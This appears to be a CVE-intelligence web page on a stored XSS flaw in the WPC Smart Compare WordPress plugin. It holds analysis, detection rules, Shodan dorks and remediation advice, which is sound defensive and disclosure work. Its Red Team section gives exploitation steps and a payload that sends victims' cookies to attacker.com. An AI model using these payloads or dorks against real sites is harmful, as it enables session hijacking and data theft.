☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
[ VENDOR STATS ]
CVSS: 6.4 CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N 🐛 CWE-79
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2025-7496

CVE-2025-7496 Cross-Site Scripting in Wpclever
📅 PUBLISHED: 2025-08-19 03:39 UTC 🔄 UPDATED: 2026-08-12 14:52 UTC
[ PATCH UNDER REVIEW ↓ ] Remains UNDER REVIEW until an independent source confirms the fix
[ DEFENSE PATCH ↓ ]
💣 PoC: Public
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.06%
👁️
0.06% probability
1.4× above the median CVE
Tier: LOW
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1190
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
VULNERABLE: version not auto-detected — verify your deployed version locally
CVSS VECTOR BREAKDOWN 6.4
AV: N Attack Vector Network
AC: L Attack Complexity Low
PR: L Privileges Required Low
UI: N User Interaction None
S: C Scope Changed
C: L Confidentiality Low
I: L Integrity Low
A: N Availability None
6.4
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2025-7496 is a Stored Cross-Site Scripting (XSS) vulnerability in the WPC Smart Compare for WooCommerce plugin for WordPress, affecting all versions up to and including 6.4.7. The vulnerability arises from insufficient input sanitization and output escaping on DOM elements, allowing authenticated attackers with Contributor-level access or higher to inject arbitrary web scripts. These scripts execute whenever a user accesses an injected page, potentially leading to session hijacking, data theft, or defacement. As a WordPress plugin vulnerability, it directly impacts the WordPress ecosystem and its WooCommerce installations.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

This vulnerability is specific to the WordPress plugin ecosystem. The plugin is distributed via the WordPress Plugin Directory and third-party marketplaces. No NPM, PyPI, Go, or Ruby packages are involved. Users should verify plugin integrity via checksums provided by the WordPress Plugin Directory and monitor for updates from the vendor (Wpclever).

CVSS Breakdown & Threat Level

  • CVSS Score: 6.4 (Medium)
  • Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N
  • Attack Vector: Network
  • Attack Complexity: Low
  • Privileges Required: Low (Contributor-level)
  • User Interaction: None
  • Scope: Changed (impact on other components)
  • Confidentiality Impact: Low
  • Integrity Impact: Low
  • Availability Impact: None

Threat Level: Medium. The vulnerability requires authenticated access but can be exploited by low-privilege users. The stored XSS can affect all site visitors, including administrators, leading to potential privilege escalation or data compromise.

Deep Dive & Mechanics

The vulnerability resides in the WPC Smart Compare plugin's handling of DOM elements. The plugin fails to properly sanitize user-supplied input and escape output when rendering comparison data. An attacker with Contributor-level access can inject malicious JavaScript into fields such as product titles, descriptions, or custom attributes. When the comparison page is rendered, the injected script executes in the context of the victim's browser.

Root Cause: The plugin uses innerHTML or similar DOM manipulation methods without sanitizing input via functions like wp_kses_post() or esc_html(). This allows HTML and JavaScript to be stored and later executed.

Attack Flow:

  1. Attacker logs in with Contributor-level credentials.
  2. Attacker creates or edits a product, injecting a malicious script into a vulnerable field (e.g., product title).
  3. The script is stored in the WordPress database.
  4. When an administrator or other user views the comparison page, the script executes.
  5. The script can steal cookies, redirect users, or perform actions on behalf of the victim.

Vulnerable vs. Patched Code

Vulnerable Code (Example):

// In a template file or shortcode handler
echo '<div class="compare-item">' . $product_title . '</div>';

Here, $product_title is output directly without escaping.

Patched Code (Expected):

echo '<div class="compare-item">' . esc_html( $product_title ) . '</div>';

The patched version uses esc_html() to escape HTML entities, preventing script injection.

Exploitation & Lab Setup

Red Team

Prerequisites: WordPress installation with WPC Smart Compare plugin <= 6.4.7, Contributor-level account.

Steps:

  1. Log in as a Contributor.
  2. Navigate to Products > Add New.
  3. In the product title field, inject the following payload:
    <img src=x onerror=alert('XSS')>
    
  4. Publish the product.
  5. As an administrator, visit the comparison page (e.g., /compare/).
  6. The alert box executes, confirming XSS.

Advanced Payload:

<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>

Blue Team

Detection:

  • Monitor for unusual product titles or descriptions containing <script> tags or event handlers.
  • Review logs for Contributor-level users creating products with suspicious content.
  • Use Web Application Firewall (WAF) rules to block common XSS patterns.

Hunting:

  • Query the WordPress database for posts with post_type = 'product' and post_content containing <script or onerror.
  • Check for recent changes to product meta fields.

Indicators of Compromise (IOCs)

  • Network: Outbound HTTP requests to attacker-controlled domains from the WordPress server.
  • Host: Presence of unexpected JavaScript in product titles, descriptions, or custom fields.
  • File: Modified plugin files (though unlikely for stored XSS).
  • Log: WordPress audit logs showing product creation/editing by Contributor-level users with suspicious content.

Example IOC (Database Query):

SELECT ID, post_title, post_content FROM wp_posts WHERE post_type = 'product' AND (post_content LIKE '%<script%' OR post_title LIKE '%<script%');

Detection Engineering

YARA Rule

rule wp_smart_compare_xss {
    meta:
        description = "Detects stored XSS payloads in WPC Smart Compare plugin"
        author = "Valters IT"
        date = "2025-04-01"
        reference = "CVE-2025-7496"
    strings:
        $xss1 = /<script[^>]*>.*?<\/script>/is
        $xss2 = /onerror\s*=\s*["']?[^"'\s>]+/is
        $xss3 = /onload\s*=\s*["']?[^"'\s>]+/is
    condition:
        any of them
}

Sigma Rule

title: Stored XSS in WPC Smart Compare Plugin
id: 8a4b3c2d-1e5f-6a7b-8c9d-0e1f2a3b4c5d
status: experimental
description: Detects stored XSS attempts via product fields in WordPress
author: Valters IT
date: 2025-04-01
logsource:
    category: application
    product: wordpress
detection:
    selection:
        post_type: 'product'
        post_content|contains: 
            - '<script'
            - 'onerror='
            - 'onload='
    condition: selection
falsepositives:
    - Legitimate use of JavaScript in product descriptions (rare)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-7496 Stored XSS Payload in WordPress Product"; flow:to_server,established; content:"POST"; http_method; content:"/wp-admin/post.php"; http_uri; content:"post_type=product"; http_client_body; pcre:"/<script[^>]*>.*?<\/script>/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

  1. Disable the plugin until a patch is available.
  2. Restrict Contributor-level access to only trusted users.
  3. Implement a Web Application Firewall (WAF) with rules to block XSS payloads.

Long-term Fix:

  • Update to a patched version once released by Wpclever.
  • Apply input sanitization and output escaping in custom code.
  • Use WordPress functions like wp_kses_post(), esc_html(), and esc_attr().

Workaround:

  • Add the following to functions.php to strip script tags from product titles:
add_filter( 'the_title', 'wp_kses_post', 1 );

Valters IT
Securing Digital Frontiers

👁️ SHODAN DORKS (THREAT HUNTING)

What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.

http.title:"WPC Smart Compare"
http.html:"wp-content/plugins/wpc-smart-compare"

💣 PoC CODE AVAILABLE

Exploit code for this CVE is tracked in our database. Access poc_code via API Pro.

[ API_PRO ] →
◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2025-7496/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.